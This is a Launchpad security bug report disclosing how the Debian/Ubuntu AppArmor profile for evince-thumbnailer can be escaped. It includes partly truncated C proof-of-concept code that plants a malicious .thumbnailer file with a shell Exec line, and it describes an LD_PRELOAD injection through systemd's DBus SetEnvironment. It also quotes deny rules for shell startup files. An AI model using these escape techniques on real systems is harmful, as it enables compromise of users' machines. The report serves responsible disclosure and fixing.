Debian/Ubuntu AppArmor policy gaps in evince
Affects | Status | Importance | Assigned to | Milestone | |
---|---|---|---|---|---|
AppArmor |
Fix Released
|
Undecided
|
Jamie Strandboge | ||
apparmor (Ubuntu) |
Fix Released
|
Undecided
|
Jamie Strandboge | ||
Trusty |
Fix Released
|
Undecided
|
Jamie Strandboge | ||
Xenial |
Fix Released
|
Undecided
|
Jamie Strandboge | ||
Bionic |
Fix Released
|
Undecided
|
Jamie Strandboge | ||
Cosmic |
Fix Released
|
Undecided
|
Jamie Strandboge | ||
evince (Ubuntu) |
Fix Released
|
Undecided
|
Jamie Strandboge | ||
Trusty |
Won't Fix
|
Undecided
|
Jamie Strandboge | ||
Xenial |
Fix Released
|
Undecided
|
Jamie Strandboge | ||
Bionic |
Fix Released
|
Undecided
|
Jamie Strandboge | ||
Cosmic |
Fix Released
|
Undecided
|
Jamie Strandboge |
Bug Description
[Note on coordination: I'm reporting this as a security bug to both Ubuntu
(because Ubuntu is where this policy originally comes from, and Ubuntu is also
where AppArmor is most relevant) and Debian (because the AppArmor policy has
been merged into Debian's version of the package). It isn't clear to me who
really counts as upstream here...]
Debian/Ubuntu ship with an AppArmor policy for evince, which, among other
things, restricts evince-thumbnailer. The Ubuntu security team seems to
incorrectly believe that this policy provides meaningful security isolation:
https:/
https:/
This AppArmor policy seems to be designed to permit everything that
evince-thumbnailer might need; however, it does not seem to be designed to
establish a consistent security boundary around evince-thumbnailer.
For example, read+write access to almost the entire home directory is granted:
/usr/bin/
[...]
# Lenient, but remember we still have abstractions/
# effect).
@{HOME}/ r,
owner @{HOME}/** rw,
owner /media/** rw,
}
As the comment notes, a couple files are excluded to prevent you from just
overwriting well-known executable scripts in the user's home directory, like
~/.bashrc:
[...]
# don't allow reading/updating of run control files
deny @{HOME}/.*rc mrk,
audit deny @{HOME}/.*rc wl,
# bash
deny @{HOME}/.bash* mrk,
audit deny @{HOME}/.bash* wl,
deny @{HOME}/.inputrc mrk,
audit deny @{HOME}/.inputrc wl,
[...]
Verification:
user@ubuntu-
#define _GNU_SOURCE
#include <stdlib.h>
#include <fcntl.h>
#include <errno.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <err.h>
__attribute_
printf(
int fd = open("/
if (fd != -1) {
printf(
} else {
perror("open .bashrc");
}
exit(0);
}
user@ubuntu-
user@ubuntu-
constructor running from evince-thumbnailer
open .bashrc: Permission denied
user@ubuntu-
[ 6900.355399] audit: type=1400 audit(153512639
But of course blacklists are brittle and often trivially bypassable. For
example, did you know that it is possible to override the system's thumbnailers
by dropping .thumbnailer files in ~/.local/share/ ? .thumbnailer files contain
command lines that will be executed by nautilus. To demonstrate that it is
possible to create .thumbnailer files from evince-thumbnailer:
user@ubuntu-
ls: cannot access '.local/
user@ubuntu-
#define _GNU_SOURCE
#include <stdlib.h>
#include <fcntl.h>
#include <errno.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <err.h>
__attribute_
printf(
if (mkdir(
err(1, "mkdir");
FILE *f = fopen("
if (!f)
err(1, "create");
fputs(
fputs("Exec=find /etc/passwd -name passwd -exec gnome-terminal -- sh -c id;cat<
fputs(
fclose(f);
exit(0);
}
user@ubuntu-
user@ubuntu-
constructor running from evince-thumbnailer
user@ubuntu-
total 12
drwxr-xr-x 2 user user 4096 Aug 24 18:08 .
drwx------ 20 user user 4096 Aug 24 18:08 ..
-rw-r--r-- 1 user user 167 Aug 24 18:08 evil.thumbnailer
user@ubuntu-
[Thumbnailer Entry]
Exec=find /etc/passwd -name passwd -exec gnome-terminal -- sh -c id;cat<
MimeType=
Afterwards, if you launch a new nautilus process and open a directory with
a PDF file without cached thumbnail image, a gnome-terminal will pop up with the
text:
uid=1000(user) gid=1000(user) groups=
unconfined
user@ubuntu-
Of course, this is somewhat suboptimal from an attacker's perspective
if you have to wait for something to happen; what you really want is immediate
code execution. Luckily for an attacker, the AppArmor policy also permits
unrestricted DBus access - I have no idea why a thumbnail generation tool might
possibly need DBus access:
/usr/bin/
#include <abstractions/
[...]
}
As a comment in abstractions/
# This abstraction grants full session bus access. Consider using the
# dbus-session-strict abstraction for fine-grained bus mediation.
Nowadays the session bus contains tons of interesting services. For example, the
systemd session instance is listening there, and as you can see at
https:/
that you really don't want untrusted code to touch. Some quotes:
StartUnit() enqeues a start job, and possibly depending jobs.
Takes the unit to activate, plus a mode string.
[...]
SetEnvironm
that is passed to all spawned processes. Takes a string array
with environment variable assignments. Settings passed will
override previously set variables.
[...]
Similar, LinkUnitFiles() links unit files (that are located
outside of the usual unit search paths) into the unit search path.
This means that you can break out of the AppArmor-confined context as follows:
- drop an ELF library with a malicious constructor function at
$HOME/
access to it must be permitted by AppArmor)
- invoke SetEnvironment() over DBus to add
"LD_
started units
- invoke Restart() on a running service (gvfs-gphoto2-
over DBus
I have attached a PoC. Unpack the tarball, build and install it with ./build.sh
(requires root privileges).
The PoC requires root privileges to install a library at
/usr/lib/
into evince-thumbnailer. This emulates what an attacker who has successfully
exploited a memory corruption bug in evince-thumbnailer could do.
After running the build script, run the PoC as follows:
user@ubuntu-
constructor running from evince-thumbnailer
got reply
got reply 2
At this point, after a few seconds or so, gnome-calculator should pop up.
Additionally, if you check the systemd log for the targeted unit, you should see
log output from the PoC that shows that code is running in unconfined context:
user@ubuntu-
● gvfs-gphoto2-
Loaded: loaded (/usr/lib/
Active: active (running) since Fri 2018-08-24 21:09:31 CEST; 5min ago
Main PID: 2709 (gvfs-gphoto2-vo)
CGroup: /user.slice/
└─2709 /usr/lib/
Aug 24 21:09:31 ubuntu-18-04-vm gvfs-gphoto2-
Aug 24 21:09:31 ubuntu-18-04-vm gvfs-gphoto2-
Aug 24 21:09:31 ubuntu-18-04-vm systemd[901]: Stopped Virtual filesystem service - digital camera monitor.
Aug 24 21:09:31 ubuntu-18-04-vm gvfs-gphoto2-
Aug 24 21:09:31 ubuntu-18-04-vm systemd[901]: Starting Virtual filesystem service - digital camera monitor...
Aug 24 21:09:31 ubuntu-18-04-vm systemd[901]: Started Virtual filesystem service - digital camera monitor.
This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available (whichever is earlier), the bug
report will become visible to the public.
Changed in apparmor: | |
status: | New → In Progress |
Changed in apparmor (Ubuntu Trusty): | |
assignee: | nobody → Jamie Strandboge (jdstrand) |
status: | New → Triaged |
Changed in apparmor (Ubuntu Xenial): | |
assignee: | nobody → Jamie Strandboge (jdstrand) |
status: | New → Triaged |
Changed in apparmor (Ubuntu Bionic): | |
assignee: | nobody → Jamie Strandboge (jdstrand) |
status: | New → Triaged |
Changed in apparmor (Ubuntu Cosmic): | |
assignee: | nobody → Jamie Strandboge (jdstrand) |
status: | Triaged → In Progress |
Changed in evince (Ubuntu Trusty): | |
assignee: | nobody → Jamie Strandboge (jdstrand) |
status: | New → Triaged |
Changed in evince (Ubuntu Xenial): | |
assignee: | nobody → Jamie Strandboge (jdstrand) |
status: | New → Triaged |
Changed in evince (Ubuntu Bionic): | |
assignee: | nobody → Jamie Strandboge (jdstrand) |
status: | New → Triaged |
Changed in evince (Ubuntu Cosmic): | |
assignee: | nobody → Jamie Strandboge (jdstrand) |
Changed in apparmor: | |
assignee: | nobody → Jamie Strandboge (jdstrand) |
Changed in apparmor (Ubuntu Cosmic): | |
status: | In Progress → Fix Committed |
Changed in apparmor (Ubuntu Bionic): | |
status: | Triaged → Fix Committed |
Changed in apparmor (Ubuntu Xenial): | |
status: | Triaged → Fix Committed |
Changed in apparmor (Ubuntu Trusty): | |
status: | Triaged → Fix Committed |
Changed in evince (Ubuntu Cosmic): | |
status: | Triaged → Fix Committed |
summary: |
- Debian/Ubuntu AppArmor policy for evince is useless + Debian/Ubuntu AppArmor policy gaps in evince |
information type: | Private Security → Public Security |
Hello Jann, thanks for the excellent report.